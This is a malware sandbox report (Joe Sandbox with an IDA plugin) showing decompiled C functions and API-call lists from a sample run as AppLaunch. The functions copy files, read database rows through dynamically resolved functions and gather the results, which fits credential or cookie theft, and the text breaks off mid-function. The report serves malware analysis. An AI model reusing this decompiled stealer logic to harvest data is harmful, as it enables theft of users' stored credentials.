0x00406f0b
0x00406f0c
0x00406f0d
0x00406f20
0x00406f0f
0x00406f19
0x00406f19
0x00406f36
0x00406f3b
0x00406f4c
0x00406f51
0x00406f51
0x00406ef8
0x00406f55
0x00406f55
0x00406f5f
0x00406f6d
0x00406f6e
0x00406f73
0x00406f76
0x00406f7a
0x00406f7c
0x00406f7c
0x00406f80
0x00406f85
0x00406f88
0x00406f8b
0x00406f8f
0x00406f93
0x00000000
0x00406e22

APIs

LocalAlloc.KERNEL32(00000040,00000410,-0000000A,00000000,00000001,?,?,?,?,?,?,?,?,?,?,00406645), ref: 00406D76
LocalAlloc.KERNEL32(00000040,0000020A,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?), ref: 00406D85
lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?,00000000), ref: 00406D93
LocalAlloc.KERNEL32(00000040,00000410,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?), ref: 00406DDC
GetLogicalDriveStringsW.KERNEL32(00000208,00000000,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?), ref: 00406DEE
GetDriveTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?,00000000), ref: 00406E6D
LocalAlloc.KERNEL32(00000040,00000020,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?), ref: 00406E79
wsprintfW.USER32 ref: 00406E8C
lstrlenW.KERNEL32(0513BCF8,?,?,?,?,?,?,?,?,?,?,?,?,?,00406645,?), ref: 00406E98
lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00406645,?), ref: 00406EAE
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00406645), ref: 00406EBA
StrCpyW.SHLWAPI(00000000,?), ref: 00406EC5
StrStrW.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00406645,?), ref: 00406ED4
StrStrW.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00406645), ref: 00406EF0
lstrlenW.KERNEL32(0513BCFA,?,?,?,?,?,?,?,?,?,?,?,?,?,00406645,?), ref: 00406EFE
StrCpyW.SHLWAPI(00000000,?), ref: 00406F0F

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

StrCpyW.SHLWAPI(00000000,?), ref: 00406F20
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00406645,?), ref: 00406F55
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00406645,?), ref: 00406F5F
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?,00000000), ref: 00406F9C
StrStrW.SHLWAPI(0000002F,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?,00000000), ref: 00406FAE
GetEnvironmentVariableW.KERNEL32(?,00000000,00000208,?,?,?,?,?,?,?,?,?,?,00406645,?,?), ref: 00406FE0
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?,00000000), ref: 00406FF1
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?,00000000), ref: 00406FF8
StrCpyW.SHLWAPI(00000000,?), ref: 0040701B
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?,00000000), ref: 0040704E
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?,00000000), ref: 00407058

Strings

Ef@, xrefs: 00407034, 00406F3B

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Drive$Type$Real$Local$PathSlow$Free$Alloc$lstrlen$EnvironmentLogicalStringsVariablewsprintf
String ID: Ef@
API String ID: 3373710704-3429571464
Opcode ID: aa12b59a9d37d2d8de5a235528b9d9b7a8d2f14b928909a9d46547cf7241217a
Instruction ID: 9efdce17e9ffaa1f9d2641de3da96a868d6862a9dba53f74e0a02f878a1ec306
Opcode Fuzzy Hash: aa12b59a9d37d2d8de5a235528b9d9b7a8d2f14b928909a9d46547cf7241217a
Instruction Fuzzy Hash: 5291B471604301AFC7209F60DC4895BBBF5FF88715F414929FA46E32A0D738DA55CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00407AD5 Relevance: 24.2, APIs: 16, Instructions: 167
memoryfilestringCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E00407AD5(intOrPtr* __ecx, intOrPtr* __edx, WCHAR* _a4, char _a8) {
				void* _v8;
				char _v12;
				WCHAR* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				intOrPtr* _v32;
				intOrPtr* _v36;
				void* _v40;
				WCHAR* _t42;
				void* _t51;
				void* _t58;
				void* _t59;
				intOrPtr _t62;
				intOrPtr _t63;
				WCHAR* _t64;
				void* _t65;
				void* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				int _t70;
				void* _t73;
				void* _t79;
				void* _t81;
				intOrPtr _t89;
				intOrPtr* _t103;
				void* _t104;
				void* _t105;

				_t107 = _a8;
				_v36 = __edx;
				_v32 = __ecx;
				if(_a8 == 0) {
					L21:
					return 0;
				}
				_t42 = LocalAlloc(0x40, 0x208);
				_v8 = LocalAlloc(0x40, 0x208);
				_t79 = PathCombineW(_t42, _a4,  *0x423270);
				_v40 = _t79;
				if(E0041C37E(_t79,  &_v8, _t107) == 0 || CopyFileW(_t79, _v8, 0) == 0) {
					LocalFree(_t79);
					goto L20;
				} else {
					_t51 =  *0x42358c(_v8,  &_v12);
					if(_t51 != 0) {
						L14:
						DeleteFileW(_v8);
						__eflags = _v8;
						if(_v8 != 0) {
							LocalFree(_v8);
						}
						__eflags = _t79;
						if(_t79 != 0) {
							LocalFree(_t79);
						}
						return 1;
					}
					_t58 =  *0x423598(_v12,  *0x423478, 0xffffffff,  &_a8, _t51);
					_t105 = _t104 + 0x14;
					if(_t58 == 0) {
						_t59 =  *0x423590(_a8);
						__eflags = _t59 - 0x64;
						if(_t59 != 0x64) {
							L13:
							 *0x4235b4(_a8);
							 *0x4235a8(_v12);
							goto L14;
						} else {
							goto L7;
						}
						do {
							L7:
							_t62 =  *0x4235b8(_a8, 0);
							_v24 = _t62;
							_t63 =  *0x4235b8(_a8, 1);
							_v20 = _t63;
							_t64 =  *0x4235b8(_a8, 2);
							_v16 = _t64;
							_t65 =  *0x4235b8(_a8, 3);
							_t66 =  *0x4235b8(_a8, 4);
							_t67 =  *0x4235b8(_a8, 5);
							_t68 = LocalAlloc(0x40, 0x4000);
							_push(_t67);
							_push(_t66);
							_push(_t65);
							_v28 = _t68;
							_t69 = lstrcmpW(_v16,  *0x4231d8);
							_t89 =  *0x4231f8; // 0x513cb38
							__eflags = _t69;
							_t81 = _v28;
							_t90 =  ==  ?  *0x423234 : _t89;
							_t70 = wsprintfW(_t81,  *0x423240, _v24, _v20,  ==  ?  *0x423234 : _t89);
							_t105 = _t105 + 0x50;
							__eflags = _t70 - lstrlenW( *0x423240);
							if(__eflags >= 0) {
								_t103 = _v32;
								 *_t103 = E0041AD76( *_t103, _t81, __eflags);
							}
							__eflags = _t81;
							if(_t81 != 0) {
								LocalFree(_t81);
							}
							 *_v36 =  *_v36 + 1;
							_t73 =  *0x423590(_a8);
							__eflags = _t73 - 0x64;
						} while (_t73 == 0x64);
						_t79 = _v40;
						goto L13;
					}
					LocalFree(_t79);
					 *0x4235b4(_a8);
					 *0x4235a8(_v12);
					L20:
					DeleteFileW(_v8);
					LocalFree(_v8);
					goto L21;
				}
			}

0x00407adb
0x00407ae2
0x00407ae5
0x00407ae8
0x00407ce6
0x00000000
0x00407ce6
0x00407af6
0x00407b0d
0x00407b1a
0x00407b21
0x00407b2b
0x00407cce
0x00000000
0x00407b45
0x00407b4c
0x00407b56
0x00407ca5
0x00407ca8
0x00407cae
0x00407cb2
0x00407cb7
0x00407cb7
0x00407cbd
0x00407cbf
0x00407cc2
0x00407cc2
0x00000000
0x00407cca
0x00407b6c
0x00407b72
0x00407b77
0x00407b9c
0x00407ba3
0x00407ba6
0x00407c91
0x00407c94
0x00407c9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00407bac
0x00407bac
0x00407bb1
0x00407bbc
0x00407bbf
0x00407bca
0x00407bcd
0x00407bd8
0x00407bdb
0x00407be8
0x00407bf5
0x00407c07
0x00407c0d
0x00407c0e
0x00407c0f
0x00407c16
0x00407c1c
0x00407c22
0x00407c28
0x00407c2a
0x00407c2d
0x00407c42
0x00407c48
0x00407c59
0x00407c5b
0x00407c5d
0x00407c69
0x00407c69
0x00407c6b
0x00407c6d
0x00407c70
0x00407c70
0x00407c7c
0x00407c7e
0x00407c85
0x00407c85
0x00407c8e
0x00000000
0x00407c8e
0x00407b7a
0x00407b83
0x00407b8c
0x00407cd4
0x00407cd7
0x00407ce0
0x00000000
0x00407ce0

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000000,?), ref: 00407AF6
LocalAlloc.KERNEL32(00000040,00000208), ref: 00407B01
PathCombineW.SHLWAPI(00000000,?), ref: 00407B14

Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C391
Part of subcall function 0041C37E: RealDriveType.SHELL32(49068A3F,00000000), ref: 0041C39F
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3A5
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3AB
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3B1
Part of subcall function 0041C37E: RealDriveType.SHELL32(90F51192,00000000), ref: 0041C3BA
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3C0
Part of subcall function 0041C37E: RealDriveType.SHELL32(8030BDD6,00000000), ref: 0041C3C9
Part of subcall function 0041C37E: RealDriveType.SHELL32(3529F220,00000000), ref: 0041C3D2
Part of subcall function 0041C37E: RealDriveType.SHELL32(44900BA8,00000000), ref: 0041C3DB
Part of subcall function 0041C37E: RealDriveType.SHELL32(80627B6F,00000000), ref: 0041C3E4
Part of subcall function 0041C37E: RealDriveType.SHELL32(4B2F893E,00000000), ref: 0041C3ED
Part of subcall function 0041C37E: RealDriveType.SHELL32(9237E9C0,00000000), ref: 0041C3F6
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3FC
Part of subcall function 0041C37E: RealDriveType.SHELL32(001C2176,00000000), ref: 0041C405
Part of subcall function 0041C37E: RealDriveType.SHELL32(DCD15041,00000000), ref: 0041C40E
Part of subcall function 0041C37E: RealDriveType.SHELL32(06ACA385,00000000), ref: 0041C417
Part of subcall function 0041C37E: RealDriveType.SHELL32(54EEC891,00000000), ref: 0041C420
Part of subcall function 0041C37E: RealDriveType.SHELL32(6F107F95,00000000), ref: 0041C429
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C42F
Part of subcall function 0041C37E: RealDriveType.SHELL32(1A1C9336,00000000), ref: 0041C438
Part of subcall function 0041C37E: RealDriveType.SHELL32(DF38BEB2,00000000), ref: 0041C441
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C447
Part of subcall function 0041C37E: RealDriveType.SHELL32(1D427676,00000000), ref: 0041C450
Part of subcall function 0041C37E: RealDriveType.SHELL32(2EC4F5A1,00000000), ref: 0041C459
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C45F
Part of subcall function 0041C37E: RealDriveType.SHELL32(3921A8C1,00000000), ref: 0041C468
Part of subcall function 0041C37E: RealDriveType.SHELL32(E7FE911E,00000000), ref: 0041C471
Part of subcall function 0041C37E: RealDriveType.SHELL32(3D01E728,00000000), ref: 0041C47A
Part of subcall function 0041C37E: RealDriveType.SHELL32(AEAA71A1,00000000), ref: 0041C483

CopyFileW.KERNEL32(00000000,?,00000000), ref: 00407B37
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00407B7A
LocalAlloc.KERNEL32(00000040,00004000), ref: 00407C07
lstrcmpW.KERNEL32(?,00000000,00000000,00000000), ref: 00407C1C
wsprintfW.USER32 ref: 00407C42
lstrlenW.KERNEL32 ref: 00407C53
LocalFree.KERNEL32(?), ref: 00407C70
DeleteFileW.KERNEL32(?), ref: 00407CA8
LocalFree.KERNEL32(00000000), ref: 00407CB7
LocalFree.KERNEL32(00000000), ref: 00407CC2
LocalFree.KERNEL32(00000000), ref: 00407CCE
DeleteFileW.KERNEL32(?), ref: 00407CD7
LocalFree.KERNEL32(?), ref: 00407CE0

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$Path$LocalSlow$Free$AllocFile$Delete$CombineCopylstrcmplstrlenwsprintf
String ID:
API String ID: 400051419-0
Opcode ID: d3a20d627b41517069f7ed66bd0c1827af49aeaa9d11bdb0abc326d6685fdc4b
Instruction ID: d78a1e991a33f84777fc72eb6344f56799fca7e2d741df56471ab22e32dc6f42
Opcode Fuzzy Hash: d3a20d627b41517069f7ed66bd0c1827af49aeaa9d11bdb0abc326d6685fdc4b
Instruction Fuzzy Hash: CA516A31A04204FFDF215FA0EC49A9EBB75FF08712F504475FA06A62A0DB399A51DB28

Uniqueness

Uniqueness Score: -1.00%

Function 004072E5 Relevance: 21.1, APIs: 14, Instructions: 77
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004072E5(struct HINSTANCE__* __ecx) {
				struct HINSTANCE__* _t20;

				_t20 = __ecx;
				if(__ecx != 0) {
					 *0x423594 = GetProcAddress(__ecx,  *0x423320);
					 *0x4235ac = GetProcAddress(_t20,  *0x4234b8);
					 *0x4235b0 = GetProcAddress(_t20,  *0x4234fc);
					 *0x4235a4 = GetProcAddress(_t20,  *0x423420);
					 *0x4235a0 = GetProcAddress(_t20,  *0x423510);
					 *0x42359c = GetProcAddress(_t20,  *0x423564);
					 *0x423588 = GetProcAddress(_t20,  *0x4232bc);
					 *0x42358c = GetProcAddress(_t20,  *0x423210);
					 *0x423598 = GetProcAddress(_t20,  *0x4231bc);
					 *0x423590 = GetProcAddress(_t20,  *0x42325c);
					GetProcAddress(_t20,  *0x423248);
					 *0x4235b8 = GetProcAddress(_t20,  *0x4231b8);
					 *0x4235b4 = GetProcAddress(_t20,  *0x4231e0);
					 *0x4235a8 = GetProcAddress(_t20,  *0x423228);
				}
				if( *0x423594 == 0 ||  *0x4235ac == 0 ||  *0x4235b0 == 0 ||  *0x4235a0 == 0 ||  *0x42359c == 0 ||  *0x4235a4 == 0) {
					return 0;
				} else {
					return 1;
				}
			}

0x004072e6
0x004072ea
0x00407303
0x00407315
0x00407327
0x00407339
0x0040734b
0x0040735d
0x0040736f
0x00407381
0x00407393
0x004073a5
0x004073ab
0x004073c4
0x004073d6
0x004073e2
0x004073e2
0x004073ef
0x00407424
0x0040741e
0x00407421
0x00407421

APIs

GetProcAddress.KERNEL32(00000000,00000000), ref: 004072F7
GetProcAddress.KERNEL32(00000000), ref: 00407309
GetProcAddress.KERNEL32(00000000), ref: 0040731B
GetProcAddress.KERNEL32(00000000), ref: 0040732D
GetProcAddress.KERNEL32(00000000), ref: 0040733F
GetProcAddress.KERNEL32(00000000), ref: 00407351
GetProcAddress.KERNEL32(00000000), ref: 00407363
GetProcAddress.KERNEL32(00000000), ref: 00407375
GetProcAddress.KERNEL32(00000000), ref: 00407387
GetProcAddress.KERNEL32(00000000), ref: 00407399
GetProcAddress.KERNEL32(00000000), ref: 004073AB
GetProcAddress.KERNEL32(00000000), ref: 004073B8
GetProcAddress.KERNEL32(00000000), ref: 004073CA
GetProcAddress.KERNEL32(00000000), ref: 004073DC

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 401976a3ca3847d4f3ac2498d013ac886b639f04daf10bf0de2ce7f81e382cac
Instruction ID: 162a408e3563268348bb299f7b2fbeb8574320c9b925b659300d5b8741da518a
Opcode Fuzzy Hash: 401976a3ca3847d4f3ac2498d013ac886b639f04daf10bf0de2ce7f81e382cac
Instruction Fuzzy Hash: C0319071B02614EFD7325F60AC08A6A3AB5FB09303B88407AE90981274D77D1B97DF6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040819D Relevance: 19.6, APIs: 13, Instructions: 135
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E0040819D(intOrPtr* __ecx, WCHAR* _a4, void* _a8) {
				char _v8;
				char _v12;
				WCHAR* _v16;
				WCHAR* _t25;
				void* _t34;
				void* _t41;
				void* _t42;
				WCHAR* _t43;
				WCHAR* _t44;
				WCHAR* _t46;
				intOrPtr _t47;
				WCHAR* _t49;
				WCHAR* _t50;
				WCHAR* _t76;
				WCHAR* _t78;
				WCHAR* _t79;
				intOrPtr* _t80;
				void* _t82;
				void* _t83;
				void* _t84;

				_t85 = _a8;
				_t80 = __ecx;
				if(_a8 == 0) {
					L18:
					return 0;
				}
				_t25 = LocalAlloc(0x40, 0x208);
				_a8 = LocalAlloc(0x40, 0x208);
				_t82 = PathCombineW(_t25, _a4,  *0x4232cc);
				if(E0041C37E(_t82,  &_a8, _t85) == 0 || CopyFileW(_t82, _a8, 0) == 0) {
					LocalFree(_t82);
					goto L17;
				} else {
					_t34 =  *0x42358c(_a8,  &_v12);
					if(_t34 != 0) {
						L11:
						DeleteFileW(_a8);
						__eflags = _a8;
						if(_a8 != 0) {
							LocalFree(_a8);
						}
						__eflags = _t82;
						if(_t82 != 0) {
							LocalFree(_t82);
						}
						return 1;
					}
					_t41 =  *0x423598(_v12,  *0x423264, 0xffffffff,  &_v8, _t34);
					_t84 = _t83 + 0x14;
					if(_t41 == 0) {
						while(1) {
							_t42 =  *0x423590(_v8);
							__eflags = _t42 - 0x64;
							if(_t42 != 0x64) {
								break;
							}
							_t43 =  *0x4235b8(_v8, 0);
							_t58 = _t43;
							_t44 =  *0x4235b8(_v8, 1);
							_t84 = _t84 + 0x10;
							_v16 = _t44;
							__eflags = lstrlenW(_t43) - 1;
							if(__eflags > 0) {
								_t46 = E0041AD76( *_t80, _t58, __eflags);
								_t76 =  *0x423250; // 0x513b918
								 *_t80 = _t46;
								_t47 = E0041AD76(_t46, _t76, __eflags);
								_t59 = _v16;
								 *_t80 = _t47;
								__eflags = lstrlenW(_v16) - 1;
								if(__eflags > 0) {
									_t49 = E0041AD76( *_t80, _t59, __eflags);
									_t78 =  *0x423250; // 0x513b918
									 *_t80 = _t49;
									_t50 = E0041AD76(_t49, _t78, __eflags);
									_t79 =  *0x423250; // 0x513b918
									 *_t80 = _t50;
									 *_t80 = E0041AD76(_t50, _t79, __eflags);
								}
							}
						}
						 *0x4235b4(_v8);
						 *0x4235a8(_v12);
						goto L11;
					} else {
						LocalFree(_t82);
						 *0x4235b4(_v8);
						 *0x4235a8(_v12);
						L17:
						DeleteFileW(_a8);
						LocalFree(_a8);
						goto L18;
					}
				}
			}

0x004081a3
0x004081aa
0x004081ac
0x00408342
0x00000000
0x00408342
0x004081ba
0x004081d1
0x004081de
0x004081ec
0x0040832a
0x00000000
0x00408206
0x0040820d
0x00408217
0x00408301
0x00408304
0x0040830a
0x0040830e
0x00408313
0x00408313
0x00408319
0x0040831b
0x0040831e
0x0040831e
0x00000000
0x00408326
0x0040822d
0x00408233
0x00408238
0x004082da
0x004082dd
0x004082e4
0x004082e7
0x00000000
0x00000000
0x00408263
0x0040826e
0x00408270
0x00408276
0x00408279
0x00408283
0x00408286
0x0040828c
0x00408291
0x00408299
0x0040829b
0x004082a0
0x004082a4
0x004082ac
0x004082af
0x004082b5
0x004082ba
0x004082c2
0x004082c4
0x004082c9
0x004082d1
0x004082d8
0x004082d8
0x004082af
0x00408286
0x004082f0
0x004082f9
0x00000000
0x0040823e
0x0040823f
0x00408248
0x00408251
0x00408330
0x00408333
0x0040833c
0x00000000
0x0040833c
0x00408238

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000000,?), ref: 004081BA
LocalAlloc.KERNEL32(00000040,00000208), ref: 004081C5
PathCombineW.SHLWAPI(00000000,?), ref: 004081D8

Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C391
Part of subcall function 0041C37E: RealDriveType.SHELL32(49068A3F,00000000), ref: 0041C39F
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3A5
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3AB
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3B1
Part of subcall function 0041C37E: RealDriveType.SHELL32(90F51192,00000000), ref: 0041C3BA
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3C0
Part of subcall function 0041C37E: RealDriveType.SHELL32(8030BDD6,00000000), ref: 0041C3C9
Part of subcall function 0041C37E: RealDriveType.SHELL32(3529F220,00000000), ref: 0041C3D2
Part of subcall function 0041C37E: RealDriveType.SHELL32(44900BA8,00000000), ref: 0041C3DB
Part of subcall function 0041C37E: RealDriveType.SHELL32(80627B6F,00000000), ref: 0041C3E4
Part of subcall function 0041C37E: RealDriveType.SHELL32(4B2F893E,00000000), ref: 0041C3ED
Part of subcall function 0041C37E: RealDriveType.SHELL32(9237E9C0,00000000), ref: 0041C3F6
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3FC
Part of subcall function 0041C37E: RealDriveType.SHELL32(001C2176,00000000), ref: 0041C405
Part of subcall function 0041C37E: RealDriveType.SHELL32(DCD15041,00000000), ref: 0041C40E
Part of subcall function 0041C37E: RealDriveType.SHELL32(06ACA385,00000000), ref: 0041C417
Part of subcall function 0041C37E: RealDriveType.SHELL32(54EEC891,00000000), ref: 0041C420
Part of subcall function 0041C37E: RealDriveType.SHELL32(6F107F95,00000000), ref: 0041C429
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C42F
Part of subcall function 0041C37E: RealDriveType.SHELL32(1A1C9336,00000000), ref: 0041C438
Part of subcall function 0041C37E: RealDriveType.SHELL32(DF38BEB2,00000000), ref: 0041C441
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C447
Part of subcall function 0041C37E: RealDriveType.SHELL32(1D427676,00000000), ref: 0041C450
Part of subcall function 0041C37E: RealDriveType.SHELL32(2EC4F5A1,00000000), ref: 0041C459
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C45F
Part of subcall function 0041C37E: RealDriveType.SHELL32(3921A8C1,00000000), ref: 0041C468
Part of subcall function 0041C37E: RealDriveType.SHELL32(E7FE911E,00000000), ref: 0041C471
Part of subcall function 0041C37E: RealDriveType.SHELL32(3D01E728,00000000), ref: 0041C47A
Part of subcall function 0041C37E: RealDriveType.SHELL32(AEAA71A1,00000000), ref: 0041C483

CopyFileW.KERNEL32(00000000,00000000,00000000), ref: 004081F8
LocalFree.KERNEL32(00000000), ref: 0040823F
DeleteFileW.KERNEL32(?,?), ref: 00408304
LocalFree.KERNEL32(00000000), ref: 00408313
LocalFree.KERNEL32(00000000), ref: 0040831E
LocalFree.KERNEL32(00000000), ref: 0040832A
DeleteFileW.KERNEL32(00000000), ref: 00408333
LocalFree.KERNEL32(00000000), ref: 0040833C

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$Path$Slow$Local$Free$File$AllocDelete$CombineCopy
String ID:
API String ID: 649604056-0
Opcode ID: 0fb1dfb5baeec3b3aa1169a0546d657a4c5714d9f3d7910e5f44bad777519170
Instruction ID: b581146284ce6e0bd207bc73941867ca50b781792d13031c1a9fba3b373ebdb8
Opcode Fuzzy Hash: 0fb1dfb5baeec3b3aa1169a0546d657a4c5714d9f3d7910e5f44bad777519170
Instruction Fuzzy Hash: 10414C31600204FFCB215FA0ED09A9E7B75FF48716B508479F906E62A0EB3D8A529B58

Uniqueness

Uniqueness Score: -1.00%

Function 00414E6E Relevance: 13.6, APIs: 9, Instructions: 74
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00414E6E(intOrPtr* _a4) {
				struct _DISPLAY_DEVICEW _v836;
				struct _DISPLAY_DEVICEW _v844;
				WCHAR* _v848;
				WCHAR* _t9;
				WCHAR* _t15;
				int _t16;
				int _t17;
				int _t21;
				WCHAR* _t25;
				WCHAR* _t34;
				void* _t39;
				signed int _t40;
				void* _t42;

				_t42 = (_t40 & 0xfffffff8) - 0x34c;
				_t9 = LocalAlloc(0x40, 0x2000);
				_v844.cb = 0x348;
				_t34 = _t9;
				_t25 = 0;
